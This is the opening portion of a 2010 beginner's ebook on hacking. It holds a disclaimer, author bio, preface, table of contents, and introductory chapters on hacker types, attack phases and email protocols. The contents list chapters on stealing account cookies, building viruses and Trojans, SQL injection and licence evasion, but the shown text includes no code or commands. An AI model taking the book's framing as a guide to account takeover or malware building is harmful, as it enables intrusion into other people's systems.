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  2. Hacking For Beginners – Manthan Desai 2010
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  5. Legal Disclaimer
  6. Any proceedings and or activities related to the material contained within this book are exclusively your liability. The
  7. misuse and mistreat of the information in this book can consequence in unlawful charges brought against the persons in
  8. question. The authors and review analyzers will not be held responsible in the event any unlawful charges brought against
  9. any individuals by misusing the information in this book to break the law. This book contains material and resources that
  10. can be potentially destructive or dangerous. If you do not fully comprehend something on this book, don‘t study this
  11. book. Please refer to the laws and acts of your state/region/ province/zone/territory or country before accessing, using,
  12. or in any other way utilizing these resources. These materials and resources are for educational and research purposes
  13. only. Do not attempt to violate the law with anything enclosed here within. If this is your intention, then leave now.
  14. While using this book and reading various hacking tutorials, you agree to follow the below
  15. mentioned terms and conditions:
  16. 1. All the information provided in this book is for educational purposes only. The book author is no way responsible for
  17. any misuse of the information.
  18. 2. "Hacking for Beginners” is just a term that represents the name of the book and is not a book that provides any illegal
  19. information. “Hacking for Beginners” is a book related to Computer Security and not a book that promotes
  20. hacking/cracking/software piracy.
  21. 3. This book is totally meant for providing information on "Computer Security”, "Computer Programming” and other
  22. related topics and is no way related towards the terms "CRACKING” or "HACKING” (Unethical).
  23. 4. Few articles (tutorials) in this book may contain the information related to "Hacking Passwords” or "Hacking Email
  24. Accounts” (Or Similar terms). These are not the GUIDES of Hacking. They only provide information about the legal ways of
  25. retrieving the passwords. You shall not misuse the information to gain unauthorized access. However you may try out
  26. these hacks on your own computer at your own risk. Performing hack attempts (without permission) on computers that
  27. you do not own is illegal.
  28. 5. The virus creation section in this book provides demonstration on coding simple viruses using high level programming
  29. languages. These viruses are simple ones and cause no serious damage to the computer. However we strongly insist that
  30. these information shall only be used to expand programming knowledge and not for causing malicious attacks.
  31. 6. All the information in this book is meant for developing Hacker Defense attitude among the readers and help
  32. preventing the hack attacks. “Hacking for Beginners” insists that this information shall not be used for causing any kind of
  33. damage directly or indirectly. However you may try these codes on your own computer at your own risk.
  34. 7. The word "Hack” or "Hacking” that is used in this book shall be regarded as "Ethical Hack” or "Ethical Hacking”
  35. respectively.
  36. 8. We believe only in White Hat Hacking. On the other hand we condemn Black Hat Hacking.
  37. 9. Most of the information provided in this book are simple computer tricks (may be called by the name hacks) and are no
  38. way related to the term hacking.
  39. 10. Some of the tricks provided by us may no longer work due to fixture in the bugs that enabled the exploits. We are not
  40. responsible for any direct or indirect damage caused due to the usage of the hacks provided in the book.
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  44. About the Author
  45. Manthan Desai is a sovereign Computer Security Consultant and has state-of-the-art familiarity in the field of computer.
  46. An ethical hacker and a freelance web designer is famous for his website Hacking Tech (www.hackingtech.co.tv) which is
  47. ranked 2nd in the ucoz.com web hosting servers for security field.
  48. Manthan is indeed a writer on the internet through his website. Over 10,000 visits have been incurred on his website and
  49. on the increase day by day.
  50. Manthan is currently perusing his bachelor’s degree in computer science engineering and is working as and information
  51. security consultant and web designer.
  52. He is providing the services like Ethical hacking training and workshops, website Development and maintenance, security
  53. consultant, graphic designing for website.
  54. The one and the only quote that Manthan uses while his ethical hacking is “Hack it and Have it.”
  55. To Know More about the Author Please Visit: www.manthandesai.co.cc
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  59. Preface
  60. Computer hacking is the practice of altering computer hardware and software to carry out a goal outside of the creator‘s
  61. original intention. People who slot in computer hacking actions and activities are often entitled as hackers.
  62. The majority of people assume that hackers are computer criminals. They fall short to identify the fact that criminals and
  63. hackers are two entirely unrelated things. Media is liable for this. Hackers in realism are good and extremely intelligent
  64. people, who by using their knowledge in a constructive mode help organizations, companies, government, etc. to secure
  65. credentials and secret information on the Internet.
  66. Years ago, no one had to worry about Crackers breaking into their computer and installing Trojan viruses, or using your
  67. computer to send attacks against others. Now that thing have changed, it's best to be aware of how to defend your
  68. computer from damaging intrusions and prevent black hat hackers. Rampant hacking is systematically victimizing
  69. computers around the world. This hacking is not only common, but is being executed without a flaw that the attackers
  70. compromise a system, steal everything of value and entirely rub out their pathway within 20 minutes. So, in this Book you
  71. will uncover the finest ways to defend your computer systems from the hackers
  72. This Book is written by keeping one object in mind that a beginner, who is not much familiar regarding computer hacking,
  73. can easily, attempts these hacks and recognize what we are trying to demonstrate. Here we have incorporated the best
  74. ethical hacking articles in this volume, covering every characteristic linked to computer security.
  75. After Reading this book you will come to recognize that how Hacking is affecting our every day routine work and can be
  76. very hazardous in many fields like bank account hacking etc. Moreover, after carrying out this book in detail you will be
  77. capable of understanding that how a hacker hacks and how you can defend yourself from these threats.
  78. So Take care of yourself and Defend Yourself By hacking the hacker and be safe after that. So If you know how to hack a
  79. hacker then you can know how to prevent the hacker.
  80. “Hack It and Have It...”
  81. - Manthan Desai (author)
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  85. Acknowledgements
  86. Book or volume "Hacking for Beginners” is tremendously complex to write, particularly without support of the Almighty
  87. GOD.
  88. I express heartfelt credit to My Parents Mr.Manish Desai and Mrs. Jagruti Desai without them I have no existence. I am
  89. more than ever thankful to Nirma University for the inspiration which I got for learning hacking and getting such great
  90. opportunity to write the book. I am also thankful to my friends and partner who facilitated me at various research stages
  91. of this book and helped me to complete this book and mentioned me new suggestion for the book.
  92. To finish, I am thankful to you also as you are reading this book. I am sure this will book make creative and constructive
  93. role to build your life more secure and alert than ever before.
  94. Again Nothing but “Hack It and Have It...”
  95. - Manthan Desai
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  99. Index
  100. SECTION 1:- The Theatrical concepts and Explanation.
  101. 1. Concept of Ethical Hacking……………………………………………………………………………………………………………..……. 12
  102. What Is Hacking …………………………………………………………………………….…………………………………………………………….….. 12
  103. Types of hacker ………………………………………………………………………………………………...………………………………………….…. 13
  104. Why hackers hack? ……………………………………………………………………………………………………………………………………….…. 15
  105. Preventions from hacker ……………………………………………………………………………………………………………………..………..… 15
  106. Steps Performed by hackers ………………………………………………………………………………………………………………………....….16
  107. Working of an Ethical hacker ………………………………………………………………………………………………………………………….…17
  108. 2. Email Hacking ……………………………………………………………………………………………………………………..….…..……… 19
  109. How Email Works? ……………………………………………………………………………………………………………………………………….…. 19
  110. Email service protocols ……………………………………………………………………………………………………………………………….…...20
  111. Email spoofing …………………………………………………………………………………………………………………………………………….….. 21
  112. PHP Mail sending script …………………………………………………………………………………………………………………………….……. 22
  113. Email Spamming …………………………………………………………………………………………………………………………………………..... 23
  114. Phishing …………………………………………………………………………………………………………………………………………………….……. 23
  115. Prevention from phishing ………………………………………………………………………………………………………………………….……. 24
  116. Email Tracing …………………………………………………………………………………………………………………………………………….……. 24
  117. Keystroke loggers ……………………………………………………………………………………………………………………………………….….. 26
  118. Securing Your Email account ………………………………………………………………………………………………………………………….. 27
  119. 3. Windows Hacking and Security.…...……………………………………………………………………………………….…………… 28
  120. Security Architecture of Windows………………………………………………………………………………………………………………….. 28
  121. Windows user account Architecture………………………………………………………………………………………………………………. 29
  122. Cracking Windows User Account password …………………………………………………………………………………………………... 30
  123. Windows User Account Attack …………………………………………………………………………………………………………………....… 33
  124. Counter Measures of Windows Attack ………………………………………………………………………………………………………….. 33
  125. To hide a file behind a image …………………………………………………………………………………………………….………………..… 34
  126. Make a private folder…………………………………………………………………………………………………………………………………….. 35
  127. To run net user in Vista and Windows 7 …………………………………………………………………………………………………..…... 37
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  131. Brute Force Attack ……………………………………………………………………………………………………………………………………….… 38
  132. Rainbow table attack …………………………………………………………………………………………………………….…………………….…. 39
  133. Counter Measures for Windows Attack ………………………………………………………………………………….………………….….. 40
  134. 4. Trojans in Brief ………………………………………………………………………………………………….………………….………..…. 42
  135. Knowing the Trojan ………………………………………………………………………………….………………………………………………...…. 42
  136. Different Types of Trojans ……………………………………………………………………………………………………………………….…….. 43
  137. Components of Trojans …………………………………………………………………………………………………………………..…………….. 45
  138. Mode of Transmission for Trojans …………………………………………………………………………………………………………….…… 47
  139. Detection and Removal of Trojans ………………………………………………………………………………………………………………... 48
  140. Countermeasures for Trojan attacks ………………………………………………………………………………………………………….…. 48
  141. 5. Attacks on web servers and Security ……….………………………………………………………………………….………….…. 49
  142. Introduction to Web Servers..………………………………………………………………….………………………………………………...…. 49
  143. The Basic Process: How Web servers work …………………………………………………………………………………………….………. 49
  144. Attacks on Web servers …………………………………………………………………………………………………………………………….…... 50
  145. Web Ripping …………………………………………………………………………………………………………………………………………….….… 50
  146. Google Hacking …………………………………………………………………………………………………………………………………………..…. 51
  147. Protecting Your Files from Google ……………………………………………………………………………………………………………….... 53
  148. Cross Site Scripting (XSS) …………………………………………………………………………………………………………………….……….… 54
  149. Directory Traversal Attack …………………………………………………………………………………………………………….…..………..… 55
  150. Database Servers ………………………………………………………………………………………………………………………………….……….. 57
  151. Login Process on the websites ………………………………………………………………………………………………….……….………….. 58
  152. SQL injection …………………………………………………………………………………………………………………………………………….…… 58
  153. Input validation on the SQL Injection ……………………………………………………………………………….……………………….…… 59
  154. PHP Injection: Placing PHP backdoors …………………………………………………………………………………………………….…….. 60
  155. Directory Access controls ……………………………………………………………………………………………………………………………... 62
  156. How Attackers Hide Them While Attacking …………………………………………………………………………………………….….…. 62
  157. Types of Proxy Servers ………………………………………………………………………………………………………………………………..… 63
  158. 6. Wireless hacking …………………………………..………………………………………………………………………………..…….….. 65
  159. Wireless Standards …….……………………………………………………………………………………………………………………………….… 65
  160. Services provided by Wireless Networks ……………………………………………………………………………………………………….. 67
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  164. MAC address filtering …..…………………………………………………………………………………………………………………………….…. 68
  165. WEP key encryption …………………………………………………………………………………………………………………………………….… 69
  166. Wireless attacks ……………………………………………………………………………………………………………………………………….……. 69
  167. MAC spoofing ……………………………………………………………………………………………………………………………………….……….. 70
  168. WEP cracking ……………………………………………………………………………………………………………………………………………..….. 70
  169. Countermeasures for Wireless attacks …………………………………………………………………………………………………….….…. 71
  170. 7. Mobile Hacking – SMS & Call forging…………………………………………………………………………….…………..…..…….72
  171. What Does It Involve ……………………………………………………………………………………………………………………………..…..….. 72
  172. Call Spoofing / Forging ……………………………………………………………………………………………………………………….……..…… 74
  173. SMS Forging …………………………………………………………………………………………………………………………………………………… 75
  174. Bluesnarfing ………………………………………………………………………………………………………………………………………………..... 76
  175. 8. Information gathering and Scanning ……………………………………………………………………………….………………….78
  176. Why Information gathering? ………………………………………………………………………………………………………………………….. 78
  177. Reverse IP mapping ………………………………………………………………………………………………………………………………….……. 78
  178. Information Gathering Using Search Engine …………………………………………………………………………………………….……. 79
  179. Detecting ‘live’ systems on target network …………………………………………………………………………………………….……… 81
  180. War diallers ……………………………………………………………………………………………………………………………………………….….… 81
  181. 9. Sniffers ……………………………………………….………………………………………………………………………….….………..….… 82
  182. What are Sniffers ? ………………………………………………………………………………………………………………….………………….…. 82
  183. Defeating Sniffers………………………………………………………………………………………………………………….……………………..…. 83
  184. Ant Sniff ……………………………………………………………………………………………………………………………….……………………..…. 83
  185. 10. Linux Hacking..…………………………………….…………………………………………………………….………….………….…...… 85
  186. Why Linux?..............…………………………………………………………………………………………………………………………………...….. 85
  187. Scanning Networks …………………………………………………………………………………………………………………………………..……. 86
  188. Hacking tool Nmap ……………………………………………………………………………………………………………………………………..…. 87
  189. Password cracking in Linux ………………………………………………………………………………………………………………………..….. 87
  190. SARA (Security Auditor’s Research Assistant) ……………………………………………………………………………………………..…. 88
  191. Linux Root kits …………………………………………………………………………………………………………………………………………..…… 88
  192. Linux Tools: Security Testing tools …………………………………………………………………………………..………………………….…. 90
  193. Linux Security Countermeasures ……………………………………………………………………..………………………………………..…... 90
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  197. SECTION 2:- The Tutorial based hacks and explaination as online.
  198. 1. How to Chat with your friends using MS-DOS ……………………………………………………….………………..…………………... 93
  199. 2. How to change your IP address ………………………………………………………………………………………………………………….… 94
  200. 3. How To fix corrupted XP files …………….………………………………………………………………………………………………………… 95
  201. 4. Delete an “Undeletable” File / Folder ……………………………………………………………………………………………………….... 96
  202. 5. What is Steganography? ………………………………………………………………………………………………………………………..…… 100
  203. 6. What Is MD5 Hash & How to Use It? ………………………………………………………………………………………………………..... 101
  204. 7. What is Phishing and Its Demo ……………………………………………………………………………………………………………….….. 103
  205. 8. How to view hidden passwords behind asterisk (********) ……………………………………………………………..……….. 106
  206. 9. Hacking Orkut Account Using Cookie Stealing ……………………………………………………………………………….…………... 108
  207. 10. Tab Napping A New Phishing Attack …………………………………………………………………………………………….……………. 110
  208. 11. How to Check The email is original or Not ……………………………………………………………………………………….………… 113
  209. 12. Hack facebook account using facebook hacker …………………………………………………………………………….….………... 116
  210. 13. What Are Key loggers ?.................................................................................................................................. 118
  211. 14. How to remove New Folder virus ………………………………………………………………………………………..……….……….... 120
  212. 15. Mobile hack to call your friends From their own Number …………………………………………………….….…………….… 121
  213. 16. Get Orkut Scraps on Mobile for free using Google SMS Channel!................................................................. 124
  214. 17. Internet connection cut-off in LAN/Wi-Fi ……………………………………………………………………….………………….…….. 127
  215. 18. WEP cracking using Airo Wizard……………………………………………………………………………………………………….………. 129
  216. 19. 12 Security tips for online shopping ……………………………………………………………………………………………….……..... 133
  217. 20. How to check if Your Gmail account is hacked or not ………………………………………………………………………….…… 134
  218. 21. Beware of common Internet Scams and Frauds ………………………………………………………………………….…………… 137
  219. 22. 12 Tips to maintain a virus free PC………………………………………………………………………………………………………….… 138
  220. 23. 10 Tips for Total Online Security………………………………………………………………………………………………………………. 140
  221. 24. What to do when your Orkut account is hacked…………………………………………………………………………………..….. 142
  222. 25. Making a computer virus …………………………………………………………………………………………………………………….….. 143
  223. 26. SQL injection for website hacking…………………………………………………………………………………………………………….. 147
  224. 27. How a ‘Denial of service’ attack works …………………………………………………………………………………………………….. 151
  225. 28. XSS vulnerability found on You Tube explained ………………………………………….………………………………………….... 154
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  229. 29. Hacking Deep Freeze …………………………………………………………………………………………………………………………………. 157
  230. 30. How to watch security cameras on internet ………………………………………………………………………………………..……. 159
  231. 31. List of PC file Extensions…………………………………………………………………………………………………………………………….. 161
  232. 32. Nice List of Windows Shortcuts …………………………………………………………………………………………………………………. 185
  233. 33. How to find serial numbers on Google ………………………………………………………………………………………………………. 191
  234. 34. How to create a CON folder in Windows …………………………………………………………………………………………………… 192
  235. 35. 10 Reasons why PC’s crash you must know………………………………………………………………………………………………… 195
  236. 36. How to use Kaspersky for Lifetime without Patch ……………………………………………………………………………………… 200
  237. 37. Disguise as Google Bot to view Hidden Content of a Website …………………………………………………………………… 201
  238. 38. How to Download Facebook videos ………………………………………………………………………………………………………….. 203
  239. 39. Hack a website by Remote File Inclusion ………………………………………………………………………………………………….. 205
  240. 40. What is CAPTCHA and how it works?…………………………………………………………………………………………………….….. 207
  241. 41. Hack Password of any Operating System …………………………………………………………………………………….…………... 209
  242. 42. Windows PowerShell Security in Brief………………………………………………………………………………………………………. 211
  243. 43. What is Secure Sockets Layers (SSL)? ……………………………………………………………………………………………………….. 216
  244. 44. Make a Private folder With your password ………………………………………………………………………………………………. 220
  245. 45. Making a Trojan using Beast 2.06……………………………………………………………………………………………………………… 222
  246. 46. Hacking yahoo messenger for multi login ………………………………………………………………………………………………… 228
  247. 47. 5 Tips to secure your Wi-Fi a connection …………………………………………………………………………………………………. 229
  248. 48. Upgrade Windows 7 to any higher version ……………………………………………………………………………………………… 230
  249. 49. World’s top 10 internet hackers of all time ……………………………………………………………………………………….…….. 231
  250. 50. The complete History of hacking …………………………………………………………………………………………………………….. 238
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  254. The Theatrical concepts and Explanation.
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  258. 1. Concept of Ethical Hacking
  259. Hacking
  260.  The Art of exploring various security breaches is termed as Hacking.
  261.  Computer Hackers have been around for so many years. Since the Internet became widely used in the World, We
  262. have started to hear more and more about hacking. Only a few Hackers, such as Kevin Mitnick, are well known.
  263.  In a world of Black and White, it’s easy to describe the typical Hacker. A general outline of a typical Hacker is an
  264. Antisocial, Pimple-faced Teenage boy. But the Digital world has many types of Hackers.
  265.  Hackers are human like the rest of us and are, therefore, unique individuals, so an exact profile is hard to outline.
  266. The best broad description of Hackers is that all Hackers aren’t equal. Each Hacker has Motives, Methods and
  267. Skills. But some general characteristics can help you understand them. Not all Hackers are Antisocial, Pimplefaced
  268. Teenagers. Regardless, Hackers are curious about Knowing new things, Brave to take steps and they are
  269. often very Sharp Minded.
  270. Hacker
  271.  Hacker is a word that has two meanings:
  272.  Traditionally, a Hacker is someone who likes to play with Software or Electronic Systems. Hackers enjoy Exploring
  273. and Learning how Computer systems operate. They love discovering new ways to work electronically.
  274.  Recently, Hacker has taken on a new meaning — someone who maliciously breaks into systems for personal gain.
  275. Technically, these criminals are Crackers as Criminal Hackers. Crackers break into systems with malicious
  276. intentions.
  277.  They do it for Personal gain, Fame, Profit and even Revenge. They Modify, Delete and Steal critical information,
  278. often making other people's life miserable.
  279.  Hacking has a lot of meanings depending upon the person’s knowledge and his work intentions. Hacking is an Art
  280. as well as a Skill. Hacking is the knowledge by which one gets to achieve his Goals, anyhow, using his Skills and
  281. Power.
  282.  Most people associate Hacking with breaking law, therefore calling all those guys who engage in hacking activities
  283. to be criminals. We agree that there are people out there who use hacking techniques to break the law, but
  284. hacking is not really about that. In fact, hacking is more about following the law and performing the steps within
  285. the limits.
  286. Hacker vs. Cracker
  287. What Is the Difference Between a Hacker and a Cracker?
  288.  Many articles have been written about the difference between Hackers and crackers, which attempt to correct
  289. public misconceptions about hacking. For many years, media has applied the word Hacker when it really means
  290. Cracker. So the public now believe that a Hacker is someone who breaks into computer systems and steal
  291. confidential data. This is very untrue and is an insult to some of our most talented Hackers.
  292. There are various points to determine the difference between Hackers and crackers
  293.  Definition - A Hacker is a person who is interested in the working of any computer Operating system. Most often,
  294. Hackers are programmers. Hackers obtain advanced knowledge of operating systems and programming
  295. languages. They may know various security holes within systems and the reasons for such holes. Hackers
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  299. constantly seek further knowledge, share what they have discovered, and they never have intentions about
  300. damaging or stealing data.
  301.  Definition - A Cracker is a person who breaks into other people systems, with malicious intentions. Crackers gain
  302. unauthorized access, destroy important data, stop services provided by the server, or basically cause problems for
  303. their targets. Crackers can easily be identified because their actions are malicious.
  304.  Whatever the case, most people give Hacker a negative outline. Many malicious Hackers are electronic thieves.
  305. Just like anyone can become a thief, or a robber, anyone can become a Hacker, regardless of age, gender, or
  306. religion. Technical skills of Hackers vary from one to another. Some Hackers barely know how to surf the Internet,
  307. whereas others write software that other Hackers depend upon.
  308. Types of Hacker
  309.  Let’s see the categories of Hackers on the basis on their knowledge.
  310. Coders
  311.  The Real Hackers are the Coders, the ones who revise the methods and create tools that are available in the
  312. market. Coders can find security holes and weaknesses in software to create their own exploits. These Hackers
  313. can use those exploits to develop fully patched and secure systems.
  314.  Coders are the programmers who have the ability to find the unique vulnerability in existing software and to
  315. create working exploit codes. These are the individuals with a deep understanding of the OSI Layer Model and
  316. TCP/IP Stacks.
  317. Admins
  318.  Admins are the computer guys who use the tools and exploits prepared by the coders. They do not develop their
  319. own techniques, however they uses the tricks which are already prepared by the coders. They are generally
  320. System Administration, or Computer Network Controller. Most of the Hackers and security person in this digital
  321. world come under this category.
  322.  Admins have experience with several operating systems, and know how to exploit several existing vulnerabilities.
  323. A majority of Security Consultants fall in this group and work as a part of Security Team.
  324. Script Kiddies
  325.  Next and the most dangerous class of Hackers is Script kiddies, They are the new generation of users of computer
  326. who take advantage of the Hacker tools and documentation available for free on the Internet but don’t have any
  327. knowledge of what’s going on behind the scenes. They know just enough to cause you headaches but typically are
  328. very sloppy in their actions, leaving all sorts of digital fingerprints behind. Even though these guys are the teenage
  329. Hackers that you hear about in the news media, they need minimum skills to carry out their attacks.
  330.  Script Kiddies are the bunnies who use script and programs developed by others to attack computer systems and
  331. Networks. They get the least respect but are most annoying and dangerous and can cause big problems without
  332. actually knowing what they are doing.
  333.  Types of Hackers on the basis of activities performed by them.
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  337. White Hat Hacker
  338.  A White Hat Hacker is computer guy who perform Ethical Hacking. These are usually security professionals with
  339. knowledge of hacking and the Hacker toolset and who use this knowledge to locate security weaknesses and
  340. implement counter measures in the resources.
  341.  They are also known as an Ethical Hacker or a Penetration Tester. They focus on Securing and Protecting IT
  342. Systems.
  343. Black Hat Hacker
  344.  A Black Hat Hacker is computer guy who performs Unethical Hacking. These are the Criminal Hackers or Crackers
  345. who use their skills and knowledge for illegal or malicious purposes. They break into or otherwise violate the
  346. system integrity of remote machines, with malicious intent.
  347.  These are also known as an Unethical Hacker or a Security Cracker. They focus on Security Cracking and Data
  348. stealing.
  349. Grey Hat Hacker
  350.  A Grey Hat Hacker is a Computer guy who sometimes acts legally, sometimes in good will, and sometimes not.
  351. They usually do not hack for personal gain or have malicious intentions, but may or may not occasionally commit
  352. crimes during the course of their technological exploits.
  353.  They are hybrid between White Hat and Black Hat Hackers.
  354. Ethical Hacking
  355.  Ethical Hacking is testing the resources for a good cause and for the betterment of technology. Technically Ethical
  356. Hacking means penetration testing which is focused on Securing and Protecting IT Systems.
  357. Hactivism
  358.  Another type of Hackers are Hacktivists, who try to broadcast political or social messages through their work. A
  359. Hacktivist wants to raise public awareness of an issue. Examples of hacktivism are the Web sites that were
  360. defaced with the Jihad messages in the name of Terrorism.
  361. Cyber Terrorist
  362.  There are Hackers who are called Cyber Terrorists, who attack government computers or public utility
  363. infrastructures, such as power stations and air-traffic-control towers. They crash critical systems or steal classified
  364. government information. While in a conflict with enemy countries some government start Cyber war via Internet.
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  368. Why Hackers Hack?
  369.  The main reason why Hackers hack is because they can hack. Hacking is a casual hobby for some Hackers — they
  370. just hack to see what they can hack and what they can’t hack, usually by testing their own systems. Many Hackers
  371. are the guys who get kicked out of corporate and government IT and security organizations. They try to bring
  372. down the status of the organization by attacking or stealing information.
  373.  The knowledge that malicious Hackers gain and the ego that comes with that knowledge is like an addiction.
  374. Some Hackers want to make your life miserable, and others simply want to be famous. Some common motives of
  375. malicious Hackers are revenge, curiosity, boredom, challenge, theft for financial gain, blackmail, extortion, and
  376. corporate work pressure.
  377.  Many Hackers say they do not hack to harm or profit through their bad activities, which helps them justify their
  378. work. They often do not look for money full of pocket. Just proving a point is often a good enough reward for
  379. them.
  380. Prevention from Hackers
  381.  What can be done to prevent Hackers from finding new holes in software and exploiting them?
  382.  Information security research teams exist—to try to find these holes and notify vendors before they are
  383. exploited. There is a beneficial competition occurring between the Hackers securing systems and the Hackers
  384. breaking into those systems. This competition provides us with better and stronger security, as well as more
  385. complex and sophisticated attack techniques.
  386.  Defending Hackers create Detection Systems to track attacking Hackers, while the attacking Hackers develop
  387. bypassing techniques, which are eventually resulted in bigger and better detecting and tracking systems. The net
  388. result of this interaction is positive, as it produces smarter people, improved security, more stable software,
  389. inventive problem-solving techniques, and even a new economy.
  390.  Now when you need protection from Hackers, whom you want to call, “The Ethical Hackers”. An Ethical Hacker
  391. possesses the skills, mindset, and tools of a Hacker but is also trustworthy. Ethical Hackers perform the hacks as
  392. security tests computer systems.
  393.  Ethical Hacking — also known as Penetration Testing or White-Hat Hacking —involves the same Tools, Tricks and
  394. Techniques that Hackers use, but with one major difference:
  395.  Ethical hacking is Legal.
  396.  Ethical hacking is performed with the target’s permission. The intent of Ethical Hacking is to discover
  397. vulnerabilities from a Hacker’s viewpoint so systems can be better secured. Ethical Hacking is part of an overall
  398. information Risk Management program that allows for ongoing security improvements. Ethical hacking can also
  399. ensure that vendors’ claims about the security of their products are legitimate.
  400.  As Hackers expand their knowledge, so should you. You must think like them to protect your systems from them.
  401. You, as the ethical Hacker, must know activities Hackers carry out and how to stop their efforts. You should know
  402. what to look for and how to use that information to thwart Hackers’ efforts.
  403.  You don’t have to protect your systems from everything. You can’t.
  404. The only protection against everything is to unplug your computer systems and lock them away so no
  405. one can touch them—not even you.
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  409.  That’s not the best approach to information security. What’s important is to protect your systems from known
  410. Vulnerabilities and common Hacker attacks.
  411.  It’s impossible to overcome all possible vulnerabilities of your systems. You can’t plan for all possible attacks —
  412. especially the ones that are currently unknown which are called Zero Day Exploits. These are the attacks which
  413. are not known to the world. However in Ethical Hacking, the more combinations you try — the more you test
  414. whole systems instead of individual units — the better your chances of discovering vulnerabilities.
  415. Steps Performed By hackers
  416. 1) Reconnaissance
  417. 2) Scanning
  418. 3) Gaining Access
  419. 4) Maintaining Access
  420. 5) Clearing Tracks
  421. • Performing Reconnaissance
  422. • Scanning and Enumeration
  423. • Gaining access
  424. • Maintaining access and Placing Backdoors
  425. • Covering tracks or Clearing Logs
  426. Phase I: Reconnaissance
  427.  Reconnaissance can be described as the pre-attack phase and is a systematic attempt to locate, gather, identify,
  428. and record information about the target. The Hacker seeks to find out as much information as possible about the
  429. target.
  430. Phase II: Scanning and Enumeration
  431.  Scanning and enumeration is considered the second pre-attack phase. This phase involves taking the information
  432. discovered during reconnaissance and using it to examine the network. Scanning involves steps such as intelligent
  433. system port scanning which is used to determine open ports and vulnerable services. In this stage the attacker
  434. can use different automated tools to discover system vulnerabilities.
  435. Phase III: Gaining Access
  436.  This is the phase where the real hacking takes place. Vulnerabilities discovered during the reconnaissance and
  437. scanning phase are now exploited to gain access. The method of connection the Hacker uses for an exploit can be
  438. a local area network, local access to a PC, the Internet, or offline. Gaining access is known in the Hacker world as
  439. owning the system. During a real security breach it would be this stage where the Hacker can utilize simple
  440. techniques to cause irreparable damage to the target system.
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  444. Phase IV: Maintaining Access and Placing Backdoors
  445.  Once a Hacker has gained access, they want to keep that access for future exploitation and attacks. Sometimes,
  446. Hackers harden the system from other Hackers or security personnel by securing their exclusive access with
  447. Backdoors, Root kits, and Trojans.
  448.  The attacker can use automated scripts and automated tools for hiding attack evidence and also to create
  449. backdoors for further attack.
  450. Phase V: Clearing Tracks
  451.  In this phase, once Hackers have been able to gain and maintain access, they cover their tracks to avoid detection
  452. by security personnel, to continue to use the owned system, to remove evidence of hacking, or to avoid legal
  453. action. At present, many successful security breaches are made but never detected. This includes cases where
  454. firewalls and vigilant log checking were in place.
  455. Working of an ethical hacker
  456. Obeying the Ethical Hacking Commandments:
  457.  Every Ethical Hacker must follow few basic principles. If he do not follow, bad things can happen. Most of the time
  458. these principles get ignored or forgotten when planning or executing ethical hacking tests. The results are even
  459. very dangerous.
  460. Working ethically:
  461.  The word ethical can be defined as working with high professional morals and principles. Whether you’re
  462. performing ethical hacking tests against your own systems or for someone who has hired you, everything you do
  463. as an ethical Hacker must be approved and must support the company’s goals. No hidden agendas are allowed!
  464. Trustworthiness is the ultimate objective. The misuse of information is absolutely not allowed. That’s what the
  465. bad guys do.
  466. Respecting privacy:
  467.  Treat the information you gather with complete respect. All information you obtain during your testing — from
  468. Web application log files to clear-text passwords — must be kept private.
  469. Not crashing your systems:
  470.  One of the biggest mistakes is when people try to hack their own systems; they come up with crashing their
  471. systems. The main reason for this is poor planning. These testers have not read the documentation or
  472. misunderstand the usage and power of the security tools and techniques.
  473.  You can easily create miserable conditions on your systems when testing. Running too many tests too quickly on a
  474. system causes many system lockups. Many security assessment tools can control how many tests are performed
  475. on a system at the same time. These tools are especially handy if you need to run the tests on production systems
  476. during regular business hours.
  477. Executing the plan:
  478.  In Ethical hacking, Time and patience are important. Be careful when you’re performing your ethical hacking tests.
  479. A Hacker in your network or an employee looking over your shoulder may watch what’s going on. This person
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  483. could use this information against you. It’s not practical to make sure that no Hackers are on your systems before
  484. you start. Just make sure you keep everything as quiet and private as possible.
  485.  This is especially critical when transmitting and storing your test results. You’re now on a reconnaissance mission.
  486. Find as much information as possible about your organization and systems, which is what malicious Hackers do.
  487. Start with a broad view of mind and narrow your focus. Search the Internet for your organization’s name, your
  488. computer and network system names, and your IP addresses. Google is a great place to start for this.
  489.  Don’t take ethical hacking too far, though. It makes little sense to harden your systems from unlikely attacks. For
  490. instance, if you don’t have a internal Web server running, you may not have to worry too much about. However,
  491. don’t forget about insider threats from malicious employees or your friends or colleagues!
  492. “Never share your password with anyone even with your Boyfriend(s) or Girlfriend(s)”.
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  496. 2. Email hacking
  497. How Email Works?
  498.  Email sending and receiving is controlled by the Email servers. All Email service providers configure Email Server
  499. before anyone can Sign into his or her account and start communicating digitally.
  500.  Once the servers are ready to go, users from across the world register in to these Email servers and setup an
  501. Email account. When they have a fully working Email account, they sign into their accounts and start connecting
  502. to other users using the Email services.
  503. Email Travelling Path
  504.  Let’s say we have two Email providers, one is Server1.com and other is Server2.in, ABC is a registered user in
  505. Server1.com and XYZ is a registered user in Server2.in.
  506.  ABC signs in to his Email account in Server1.com, he then writes a mail to the xyz@server2.in and click on Send
  507. and gets the message that the Email is sent successfully.
  508.  But what happens behind the curtains, the Email from the computer of abc@server1.com is forwarded to the
  509. Email server of Server1.com. Server1 then looks for server2.in on the internet and forwards the Email of the
  510. server2.in for the account of XYZ. Server2.in receives the Email from server1.com and puts it in the account of
  511. XYZ.
  512.  XYZ then sits on computer and signs in to her Email account. Now she has the message in her Email inbox.
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  516. Email Service Protocols
  517. SMTP
  518.  SMTP stands for Simple Mail Transfer Protocol. SMTP is used when Email is delivered from an Email client, such as
  519. Outlook Express, to an Email server or when Email is delivered from one Email server to another. SMTP uses port
  520. 25.
  521. POP3
  522.  POP3 stands for Post Office Protocol. POP3 allows an Email client to download an Email from an Email server. The
  523. POP3 protocol is simple and does not offer many features except for download. Its design assumes that the Email
  524. client downloads all available Email from the server, deletes them from the server and then disconnects. POP3
  525. normally uses port 110.
  526. IMAP
  527.  IMAP stands for Internet Message Access Protocol. IMAP shares many similar features with POP3. It, too, is a
  528. protocol that an Email client can use to download Email from an Email server. However, IMAP includes many
  529. more features than POP3. The IMAP protocol is designed to let users keep their Email on the server. IMAP
  530. requires more disk space on the server and more CPU resources than POP3, as all Emails are stored on the server.
  531. IMAP normally uses port 143.
  532. Configuring an Email Server
  533.  Email server software like Post cast Server, Hmailserver, Surge mail, etc can be used to convert your Desktop PC
  534. into an Email sending server.
  535.  HMailServer is an Email server for Microsoft Windows. It allows you to handle all your Email yourself without
  536. having to rely on an Internet service provider (ISP) to manage it. Compared to letting your ISP host your Email,
  537. HMailServer adds flexibility and security and gives you the full control over spam protection.
  538. Email Security
  539.  Now let’s check how secure this fast mean of communication is. There are so many attacks which are applied on
